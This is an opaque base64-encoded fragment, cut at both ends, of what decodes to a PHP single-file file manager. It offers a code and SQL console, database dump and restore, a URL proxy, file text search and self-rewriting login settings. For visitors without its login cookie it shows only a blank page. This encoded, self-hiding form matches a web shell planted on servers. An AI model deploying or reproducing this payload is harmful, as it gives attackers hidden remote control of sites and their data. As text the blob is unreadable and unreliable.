MgYCcuJHRhYmxlLidgJy4kZGVsaW1pdGVyO1xyXG5cdFx0JHJvdzIgPSBteXNxbGlfZmV0Y2hfcm93KCRteXNxbGRiLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgJy4kdGFibGUpKTtcclxuXHRcdCRyZXR1cm4uPSRyb3cyWzFdLiRkZWxpbWl0ZXI7XHJcbiAgICAgICAgaWYgKCRmdWxsX2JhY2t1cCkge1xyXG5cdFx0Zm9yICgkaSA9IDA7ICRpIDwgJG51bV9maWVsZHM7ICRpKyspICB7XHJcblx0XHRcdHdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfcm93KCRyZXN1bHQpKSB7XHJcblx0XHRcdFx0JHJldHVybi49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgVkFMVUVTKCc7XHJcblx0XHRcdFx0Zm9yKCRqPTA7ICRqPCRudW1fZmllbGRzOyAkaisrKVx0e1xyXG5cdFx0XHRcdFx0JHJvd1skal0gPSBhZGRzbGFzaGVzKCRyb3dbJGpdKTtcclxuXHRcdFx0XHRcdCRyb3dbJGpdID0gc3RyX3JlcGxhY2UoXCJcXG5cIixcIlxcXFxuXCIsJHJvd1skal0pO1xyXG5cdFx0XHRcdFx0aWYgKGlzc2V0KCRyb3dbJGpdKSkgeyAkcmV0dXJuLj0gJ1wiJy4kcm93WyRqXS4nXCInIDsgfSBlbHNlIHsgJHJldHVybi49ICdcIlwiJzsgfVxyXG5cdFx0XHRcdFx0aWYgKCRqPCgkbnVtX2ZpZWxkcy0xKSkgeyAkcmV0dXJuLj0gJywnOyB9XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdCRyZXR1cm4uPSAnKScuJGRlbGltaXRlcjtcclxuXHRcdFx0fVxyXG5cdFx0ICB9XHJcblx0XHR9IGVsc2UgeyBcclxuXHRcdCRyZXR1cm4gPSBwcmVnX3JlcGxhY2UoXCIjQVVUT19JTkNSRU1FTlQ9W1xcZF0rICNpc1wiLCAnJywgJHJldHVybik7XHJcblx0XHR9XHJcblx0XHQkcmV0dXJuLj1cIlxcblxcblxcblwiO1xyXG5cdH1cclxuXHJcblx0XC9cL3NhdmUgZmlsZVxyXG4gICAgJGZpbGU9Z21kYXRlKFwiWS1tLWRfSC1pLXNcIix0aW1lKCkpLicuc3FsJztcclxuXHQkaGFuZGxlID0gZm9wZW4oJGZpbGUsJ3crJyk7XHJcblx0ZndyaXRlKCRoYW5kbGUsJHJldHVybik7XHJcblx0ZmNsb3NlKCRoYW5kbGUpO1xyXG5cdCRhbGVydCA9ICdvbkNsaWNrPVwiaWYoY29uZmlybShcXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxcbicuICRmaWxlLiAnLiBcXG4nLl9fKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8nKSAuICdcXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXFwnP2RlbGV0ZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcXCdcIic7XHJcbiAgICByZXR1cm4gJGZpbGUuJzogJy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGZpbGUsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiRmaWxlKS4nIDxhIGhyZWY9XCIjXCIgdGl0bGU9XCInIC4gX18oJ0RlbGV0ZScpIC4gJyAnLiAkZmlsZSAuICdcIiAnIC4gJGFsZXJ0IC4gJz4nIC4gX18oJ0RlbGV0ZScpIC4gJzxcL2E%2BJztcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fcmVzdG9yZV90YWJsZXMoJHNxbEZpbGVUb0V4ZWN1dGUpIHtcclxuXHQkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7XHJcblx0JGRlbGltaXRlciA9IFwiOyBcXG4gIFxcblwiO1xyXG4gICAgXC9cLyBMb2FkIGFuZCBleHBsb2RlIHRoZSBzcWwgZmlsZVxyXG4gICAgJGYgPSBmb3Blbigkc3FsRmlsZVRvRXhlY3V0ZSxcInIrXCIpO1xyXG4gICAgJHNxbEZpbGUgPSBmcmVhZCgkZixmaWxlc2l6ZSgkc3FsRmlsZVRvRXhlY3V0ZSkpO1xyXG4gICAgJHNxbEFycmF5ID0gZXhwbG9kZSgkZGVsaW1pdGVyLCRzcWxGaWxlKTtcclxuXHRcclxuICAgIFwvXC9Qcm9jZXNzIHRoZSBzcWwgZmlsZSBieSBzdGF0ZW1lbnRzXHJcbiAgICBmb3JlYWNoICgkc3FsQXJyYXkgYXMgJHN0bXQpIHtcclxuICAgICAgICBpZiAoc3RybGVuKCRzdG10KT4zKXtcclxuXHRcdFx0JHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgkc3RtdCk7XHJcblx0XHRcdFx0aWYgKCEkcmVzdWx0KXtcclxuXHRcdFx0XHRcdCRzcWxFcnJvckNvZGUgPSBteXNxbGlfZXJybm8oJG15c3FsZGItPmNvbm5lY3Rpb24pO1xyXG5cdFx0XHRcdFx0JHNxbEVycm9yVGV4dCA9IG15c3FsaV9lcnJvcigkbXlzcWxkYi0%2BY29ubmVjdGlvbik7XHJcblx0XHRcdFx0XHQkc3FsU3RtdCAgICAgID0gJHN0bXQ7XHJcblx0XHRcdFx0XHRicmVhaztcclxuICAgICAgICAgICBcdCAgICAgfVxyXG4gICAgICAgICAgIFx0ICB9XHJcbiAgICAgICAgICAgfVxyXG5pZiAoZW1wdHkoJHNxbEVycm9yQ29kZSkpIHJldHVybiBfXygnU3VjY2VzcycpLicgXHUyMDE0ICcuJHNxbEZpbGVUb0V4ZWN1dGU7XHJcbmVsc2UgcmV0dXJuICRzcWxFcnJvclRleHQuJzxiclwvPicuJHN0bXQ7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2ltZ19saW5rKCRmaWxlbmFtZSl7XHJcblx0cmV0dXJuICcuXC8nLmJhc2VuYW1lKF9fRklMRV9fKS4nP2ltZz0nLmJhc2U2NF9lbmNvZGUoJGZpbGVuYW1lKTtcclxufVxyXG5cclxuZnVuY3Rpb24gZm1faG9tZV9zdHlsZSgpe1xyXG5cdHJldHVybiAnXHJcbmlucHV0LCBpbnB1dC5mbV9pbnB1dCB7XHJcblx0dGV4dC1pbmRlbnQ6IDJweDtcclxufVxyXG5cclxuaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QsIGlucHV0LmZtX2lucHV0IHtcclxuXHRjb2xvcjogYmxhY2s7XHJcblx0Zm9udDogbm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmO1xyXG5cdGJvcmRlci1jb2xvcjogYmxhY2s7XHJcblx0YmFja2dyb3VuZC1jb2xvcjogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7XHJcblx0Ym9yZGVyLXJhZGl1czogMDtcclxuXHRwYWRkaW5nOiAycHg7XHJcbn1cclxuXHJcbmlucHV0LmZtX2lucHV0IHtcclxuXHRiYWNrZ3JvdW5kOiAjRkNGQ0ZDIG5vbmUgIWltcG9ydGFudDtcclxuXHRjdXJzb3I6IHBvaW50ZXI7XHJcbn1cclxuXHJcbi5ob21lIHtcclxuXHRiYWNrZ3JvdW5kLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUtcL0lOd1dLNlFBQUFnUlFURlJGXC9mMzk2T2pvXC9cL1wvXC90VDAyenIrZnc2NlJ0ajQzMlRFcDNNWEUyREFyM1RZcDF5NG10RHcyXC83Qk1cLzdCT3FWcGNcLzhsMzFqY3FxNmVud2NIQjJUZ2k1amdxVnBiRnZyYTJuQkFWXC9QejgyUzBqbngwVzNUVWtxU2dpNGVIaDRUc3JlNHdvc3owMjZ1UGp6R1lkNlVzM3luQXlkVUJBNUtsM2ZtNWVxWmFXN09EZ2kyVmcrUGo0dVkrRXdMbTViWTlVXC9cLzdqZkx0Qyt0T0szamNtXC83MXUyallvMVVZaDVhSmxcL3NlQzNqRW0xMmttSnJJQTFqTW1cLzlhVTRMaDBlMDFCbElhRVwvXC9cL2RoTWRDN0lBXC9cL2ZUWjJjM01XNm5OMzB3Zjk1VmQ0SmRYb1hWb3M4bkU0ZWZOXC8rNjNJSmdTbllobDdGNGNzWHQ4OUdRVXdMK1wvamwxYzQxQXErZmIyZ210STFyS2EyQzRrSmFJQTNqWXJsVHc1dGo0MjNqWW4zY1hFMXpRb3hNSEJwMWxaM0RnbXFpa3NcLyttY2pMSzgzallreW1NVjNUWWtcL1wvSE0rdTdXaG10cjBvZFRwYU9qZldKZnJIcGdcLzhCc1wvN3RXXC83VmUrNFU1MkRNbTNNTEJuNHFMZ05WTTZNekIzbEVmbEl1TFwvK2pBXC9cL1wvMjBMT3pqWHg4XC83bGJXcEpHMkM4azNUb3NKS01BMXl3am9wT1IxellwNURzcGlheSt5S05ocUtTazhOVzZcL2ZqbnM3T3oydG5adXo4ODdiK1czYVJZXC8rbXM0ckNFM1RvdDdWODViS3hqdUVBM3c0NVZoNXVocTZhbTRjRnhnWlpXXC85cUl1d2dLeTBzVyt1alQ0VFFudHo0MjNDOGkzelVqXC8rS3dcL2E1ZDZVTXh1TDZ3ekRFclwvXC9cL1wvY3FKUWZBQUFBS3gwVWs1VFwvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL0FBV1ZGYkVBQUFBWmRFVllkRk52Wm5SM1lYSmxBRUZrYjJKbElFbHRZV2RsVW1WaFpIbHh5V1U4QUFBQTJVbEVRVlFvVTJOWWpRWVlzQWlFOFU5WXpEWWpWcEdaUnhNaUVDaXRNclZadm9NclRsUTJFU1JRSjJGVndpbllibXFUVUxvb2huRTFnMWFLR1NcL2ZOTXRrNDB5WjlLVkxRaGdZa3VZN054UXZYeUhWRk5uS3pSNjlxcHhCUE1lejBFVEFReVRVdlNvZ2FJRmFQY05xVlwvTTVkaGEyUmwyVGltYjZaK1FCRFkxWE5cL1NidTh4RkxHM2VMRGZsMlVBQmppbE8xbzAxMlozZWsxbFpWSVdBQW1VVEs2TDBzM3BYK2pqNnB1WjJBd1dVdkJSYXBoc3dNZFV1akNpd0R3YTVWRWRQSTd5blVsYzd2MXFZVVJMcXVmNDJoejQ1Q0JQRHR3QUNybStSRGN4SllBQUFBQUJKUlU1RXJrSmdnZz09XCIpO1xyXG5cdGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XHJcbn0nO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9jb25maWdfY2hlY2tib3hfcm93KCRuYW1lLCR2YWx1ZSkge1xyXG5cdGdsb2JhbCAkZm1fY29uZmlnO1xyXG5cdHJldHVybiAnPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgaWQ9XCJmbV9jb25maWdfJy4kdmFsdWUuJ1wiIG5hbWU9XCJmbV9jb25maWdbJy4kdmFsdWUuJ11cIiB2YWx1ZT1cIjFcIiAnLihlbXB0eSgkZm1fY29uZmlnWyR2YWx1ZV0pPycnOidjaGVja2VkPVwidHJ1ZVwiJykuJyB0eXBlPVwiY2hlY2tib3hcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI%2BPGxhYmVsIGZvcj1cImZtX2NvbmZpZ18nLiR2YWx1ZS4nXCI%2BJy4kbmFtZS4nPFwvdGQ%2BPFwvdHI%2BJztcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fcHJvdG9jb2woKSB7XHJcblx0aWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1NDSEVNRSddKSkgcmV0dXJuICRfU0VSVkVSWydIVFRQX1NDSEVNRSddLic6XC9cLyc7XHJcblx0aWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PSAnb24nKSByZXR1cm4gJ2h0dHBzOlwvXC8nO1xyXG5cdGlmIChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzKSByZXR1cm4gJ2h0dHBzOlwvXC8nO1xyXG5cdGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcycpIHJldHVybiAnaHR0cHM6XC9cLyc7XHJcblx0cmV0dXJuICdodHRwOlwvXC8nO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9zaXRlX3VybCgpIHtcclxuXHRyZXR1cm4gZm1fcHJvdG9jb2woKS4kX1NFUlZFUlsnSFRUUF9IT1NUJ107XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX3VybCgkZnVsbD1mYWxzZSkge1xyXG5cdCRob3N0PSRmdWxsP2ZtX3NpdGVfdXJsKCk6Jy4nO1xyXG5cdHJldHVybiAkaG9zdC4nXC8nLmJhc2VuYW1lKF9fRklMRV9fKTtcclxufVxyXG5cclxuZnVuY3Rpb24gZm1faG9tZSgkZnVsbD1mYWxzZSl7XHJcblx0cmV0dXJuICcmbmJzcDs8YSBocmVmPVwiJy5mbV91cmwoJGZ1bGwpLidcIiB0aXRsZT1cIicuX18oJ0hvbWUnKS4nXCI%2BPHNwYW4gY2xhc3M9XCJob21lXCI%2BJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PFwvc3Bhbj48XC9hPic7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX3J1bl9pbnB1dCgkbG5nKSB7XHJcblx0Z2xvYmFsICRmbV9jb25maWc7XHJcblx0JHJldHVybiA9ICFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfJy4kbG5nLidfY29uc29sZSddKSA%2FIFxyXG5cdCdcclxuXHRcdFx0XHQ8Zm9ybSAgbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIicuZm1fdXJsKCkuJ1wiIHN0eWxlPVwiZGlzcGxheTppbmxpbmVcIj5cclxuXHRcdFx0XHQ8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCInLiRsbmcuJ3J1blwiIHZhbHVlPVwiJy5zdHJ0b3VwcGVyKCRsbmcpLicgJy5fXygnQ29uc29sZScpLidcIj5cclxuXHRcdFx0XHQ8XC9mb3JtPlxyXG4nIDogJyc7XHJcblx0cmV0dXJuICRyZXR1cm47XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX3VybF9wcm94eSgkbWF0Y2hlcykge1xyXG5cdCRsaW5rID0gc3RyX3JlcGxhY2UoJyZhbXA7JywnJicsJG1hdGNoZXNbMl0pO1xyXG5cdCR1cmwgPSBpc3NldCgkX0dFVFsndXJsJ10pPyRfR0VUWyd1cmwnXTonJztcclxuXHQkcGFyc2VfdXJsID0gcGFyc2VfdXJsKCR1cmwpO1xyXG5cdCRob3N0ID0gJHBhcnNlX3VybFsnc2NoZW1lJ10uJzpcL1wvJy4kcGFyc2VfdXJsWydob3N0J10uJ1wvJztcclxuXHRpZiAoc3Vic3RyKCRsaW5rLDAsMik9PSdcL1wvJykge1xyXG5cdFx0JGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluayxmbV9wcm90b2NvbCgpLDAsMik7XHJcblx0fSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDEpPT0nXC8nKSB7XHJcblx0XHQkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLCRob3N0LDAsMSk7XHRcclxuXHR9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsMik9PScuXC8nKSB7XHJcblx0XHQkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLCRob3N0LDAsMik7XHRcclxuXHR9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsNCk9PSdodHRwJykge1xyXG5cdFx0XC9cL2FsbGVzIG1hY2hlbiB3dW5kZXJzY2hvblxyXG5cdH0gZWxzZSB7XHJcblx0XHQkbGluayA9ICRob3N0LiRsaW5rO1xyXG5cdH0gXHJcblx0aWYgKCRtYXRjaGVzWzFdPT0naHJlZicgJiYgIXN0cnJpcG9zKCRsaW5rLCAnY3NzJykpIHtcclxuXHRcdCRiYXNlID0gZm1fc2l0ZV91cmwoKS4nXC8nLmJhc2VuYW1lKF9fRklMRV9fKTtcclxuXHRcdCRiYXNlcSA9ICRiYXNlLic%2FcHJveHk9dHJ1ZSZ1cmw9JztcclxuXHRcdCRsaW5rID0gJGJhc2VxLnVybGVuY29kZSgkbGluayk7XHJcblx0fSBlbHNlaWYgKHN0cnJpcG9zKCRsaW5rLCAnY3NzJykpe1xyXG5cdFx0XC9cL1x1MDQzYVx1MDQzMFx1MDQzYS1cdTA0NDJcdTA0M2UgXHUwNDQyXHUwNDNlXHUwNDM2XHUwNDM1IFx1MDQzZlx1MDQzZVx1MDQzNFx1MDQzY1x1MDQzNVx1MDQzZFx1MDQ0Zlx1MDQ0Mlx1MDQ0YyBcdTA0M2RcdTA0MzBcdTA0MzRcdTA0M2VcclxuXHR9XHJcblx0cmV0dXJuICRtYXRjaGVzWzFdLic9XCInLiRsaW5rLidcIic7XHJcbn1cclxuIFxyXG5mdW5jdGlvbiBmbV90cGxfZm9ybSgkbG5nX3RwbCkge1xyXG5cdGdsb2JhbCAkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ307XHJcblx0JHRwbF9hcnIgPSBqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSk7XHJcblx0JHN0ciA9ICcnO1xyXG5cdGZvcmVhY2ggKCR0cGxfYXJyIGFzICRrdHBsPT4kdnRwbCkge1xyXG5cdFx0JHN0ciAuPSAnPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgbmFtZT1cIicuJGxuZ190cGwuJ19uYW1lW11cIiB2YWx1ZT1cIicuJGt0cGwuJ1wiPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj48dGV4dGFyZWEgbmFtZT1cIicuJGxuZ190cGwuJ192YWx1ZVtdXCIgIGNvbHM9XCI1NVwiIHJvd3M9XCI1XCIgY2xhc3M9XCJ0ZXh0YXJlYV9pbnB1dFwiPicuJHZ0cGwuJzxcL3RleHRhcmVhPiA8aW5wdXQgbmFtZT1cImRlbF8nLnJhbmQoKS4nXCIgdHlwZT1cImJ1dHRvblwiIG9uQ2xpY2s9XCJ0aGlzLnBhcmVudE5vZGUucGFyZW50Tm9kZS5yZW1vdmUoKTtcIiB2YWx1ZT1cIicuX18oJ0RlbGV0ZScpLidcIlwvPjxcL3RkPjxcL3RyPic7XHJcblx0fVxyXG5yZXR1cm4gJ1xyXG48dGFibGU%2BXHJcbjx0cj48dGggY29sc3Bhbj1cIjJcIj4nLnN0cnRvdXBwZXIoJGxuZ190cGwpLicgJy5fXygndGVtcGxhdGVzJykuJyAnLmZtX3J1bl9pbnB1dCgkbG5nX3RwbCkuJzxcL3RoPjxcL3RyPlxyXG48Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI%2BXHJcbjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgdmFsdWU9XCInLiRsbmdfdHBsLidcIiBuYW1lPVwidHBsX2VkaXRlZFwiPlxyXG48dHI%2BPHRkIGNsYXNzPVwicm93MVwiPicuX18oJ05hbWUnKS4nPFwvdGQ%2BPHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPicuX18oJ1ZhbHVlJykuJzxcL3RkPjxcL3RyPlxyXG4nLiRzdHIuJ1xyXG48dHI%2BPHRkIGNvbHNwYW49XCIyXCIgY2xhc3M9XCJyb3czXCI%2BPGlucHV0IG5hbWU9XCJyZXNcIiB0eXBlPVwiYnV0dG9uXCIgb25DbGljaz1cImRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcXCcnLmZtX3VybCgpLic%2FZm1fc2V0dGluZ3M9dHJ1ZVxcJztcIiB2YWx1ZT1cIicuX18oJ1Jlc2V0JykuJ1wiXC8%2BIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCInLl9fKCdTYXZlJykuJ1wiID48XC90ZD48XC90cj5cclxuPFwvZm9ybT5cclxuPGZvcm0gbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIlwiPlxyXG48aW5wdXQgdHlwZT1cImhpZGRlblwiIHZhbHVlPVwiJy4kbG5nX3RwbC4nXCIgbmFtZT1cInRwbF9lZGl0ZWRcIj5cclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgbmFtZT1cIicuJGxuZ190cGwuJ19uZXdfbmFtZVwiIHZhbHVlPVwiXCIgcGxhY2Vob2xkZXI9XCInLl9fKCdOZXcnKS4nICcuX18oJ05hbWUnKS4nXCI%2BPFwvdGQ%2BPHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPjx0ZXh0YXJlYSBuYW1lPVwiJy4kbG5nX3RwbC4nX25ld192YWx1ZVwiICBjb2xzPVwiNTVcIiByb3dzPVwiNVwiIGNsYXNzPVwidGV4dGFyZWFfaW5wdXRcIiBwbGFjZWhvbGRlcj1cIicuX18oJ05ldycpLicgJy5fXygnVmFsdWUnKS4nXCI%2BPFwvdGV4dGFyZWE%2BPFwvdGQ%2BPFwvdHI%2BXHJcbjx0cj48dGQgY29sc3Bhbj1cIjJcIiBjbGFzcz1cInJvdzNcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiJy5fXygnQWRkJykuJ1wiID48XC90ZD48XC90cj5cclxuPFwvZm9ybT5cclxuPFwvdGFibGU%2BXHJcbic7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZpbmRfdGV4dF9pbl9maWxlcygkZGlyLCAkbWFzaywgJHRleHQpIHtcclxuICAgICRyZXN1bHRzID0gYXJyYXkoKTtcclxuICAgIGlmICgkaGFuZGxlID0gb3BlbmRpcigkZGlyKSkge1xyXG4gICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRlbnRyeSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7XHJcbiAgICAgICAgICAgIGlmICgkZW50cnkgIT0gXCIuXCIgJiYgJGVudHJ5ICE9IFwiLi5cIikge1xyXG4gICAgICAgICAgICAgICAgJHBhdGggPSAkZGlyIC4gXCJcL1wiIC4gJGVudHJ5O1xyXG4gICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHtcclxuICAgICAgICAgICAgICAgICAgICAkcmVzdWx0cyA9IGFycmF5X21lcmdlKCRyZXN1bHRzLCBmaW5kX3RleHRfaW5fZmlsZXMoJHBhdGgsICRtYXNrLCAkdGV4dCkpO1xyXG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICAgICBpZiAoZm5tYXRjaCgkbWFzaywgJGVudHJ5KSkge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGNvbnRlbnRzLCAkdGV4dCkgIT09IGZhbHNlKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1tdID0gc3RyX3JlcGxhY2UoJ1wvXC8nLCAnXC8nLCAkcGF0aCk7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9XHJcbiAgICAgICAgY2xvc2VkaXIoJGhhbmRsZSk7XHJcbiAgICB9XHJcbiAgICByZXR1cm4gJHJlc3VsdHM7XHJcbn1cclxuXHJcblxyXG5cLyogRW5kIEZ1bmN0aW9ucyAqXC9cclxuXHJcblwvXC8gYXV0aG9yaXphdGlvblxyXG5pZiAoJGF1dGhbJ2F1dGhvcml6ZSddKSB7XHJcblx0aWYgKGlzc2V0KCRfUE9TVFsnbG9naW4nXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzd29yZCddKSl7XHJcblx0XHRpZiAoKCRfUE9TVFsnbG9naW4nXT09JGF1dGhbJ2xvZ2luJ10pICYmICgkX1BPU1RbJ3Bhc3N3b3JkJ109PSRhdXRoWydwYXNzd29yZCddKSkge1xyXG5cdFx0XHRzZXRjb29raWUoJGF1dGhbJ2Nvb2tpZV9uYW1lJ10sICRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTtcclxuXHRcdFx0JF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dPSRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pO1xyXG5cdFx0fVxyXG5cdH1cclxuXHRpZiAoIWlzc2V0KCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSkgT1IgKCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSE9JGF1dGhbJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aFsncGFzc3dvcmQnXSkpKSB7XHJcblx0XHRlY2hvICdcclxuJzsgIFxyXG5kaWUoKTtcclxuXHR9XHJcblx0aWYgKGlzc2V0KCRfUE9TVFsncXVpdCddKSkge1xyXG5cdFx0dW5zZXQoJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dKTtcclxuXHRcdHNldGNvb2tpZSgkYXV0aFsnY29va2llX25hbWUnXSwgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpO1xyXG5cdFx0aGVhZGVyKCdMb2NhdGlvbjogJy5mbV9zaXRlX3VybCgpLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTtcclxuXHR9XHJcbn1cclxuXHJcblwvXC8gQ2hhbmdlIGNvbmZpZ1xyXG5pZiAoaXNzZXQoJF9HRVRbJ2ZtX3NldHRpbmdzJ10pKSB7XHJcblx0aWYgKGlzc2V0KCRfR0VUWydmbV9jb25maWdfZGVsZXRlJ10pKSB7IFxyXG5cdFx0dW5zZXQoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTtcclxuXHRcdHNldGNvb2tpZSgnZm1fY29uZmlnJywgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpO1xyXG5cdFx0aGVhZGVyKCdMb2NhdGlvbjogJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWUnKTtcclxuXHRcdGV4aXQoMCk7XHJcblx0fVx0ZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX2NvbmZpZyddKSkgeyBcclxuXHRcdCRmbV9jb25maWcgPSAkX1BPU1RbJ2ZtX2NvbmZpZyddO1xyXG5cdFx0c2V0Y29va2llKCdmbV9jb25maWcnLCBzZXJpYWxpemUoJGZtX2NvbmZpZyksIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpO1xyXG5cdFx0JF9DT09LSUVbJ2ZtX2NvbmZpZyddID0gc2VyaWFsaXplKCRmbV9jb25maWcpO1xyXG5cdFx0JG1zZ19udGltZXMgPSBfXygnU2V0dGluZ3MnKS4nICcuX18oJ2RvbmUnKTtcclxuXHR9XHRlbHNlaWYgKGlzc2V0KCRfUE9TVFsnZm1fbG9naW4nXSkpIHsgXHJcblx0XHRpZiAoZW1wdHkoJF9QT1NUWydmbV9sb2dpbiddWydhdXRob3JpemUnXSkpICRfUE9TVFsnZm1fbG9naW4nXSA9IGFycmF5KCdhdXRob3JpemUnID0%2BICcwJykgKyAkX1BPU1RbJ2ZtX2xvZ2luJ107XHJcblx0XHQkZm1fbG9naW4gPSBqc29uX2VuY29kZSgkX1BPU1RbJ2ZtX2xvZ2luJ10pO1xyXG5cdFx0JGZnYyA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTtcclxuXHRcdCRzZWFyY2ggPSBwcmVnX21hdGNoKCcjYXV0aG9yaXphdGlvbltcXHNdP1xcPVt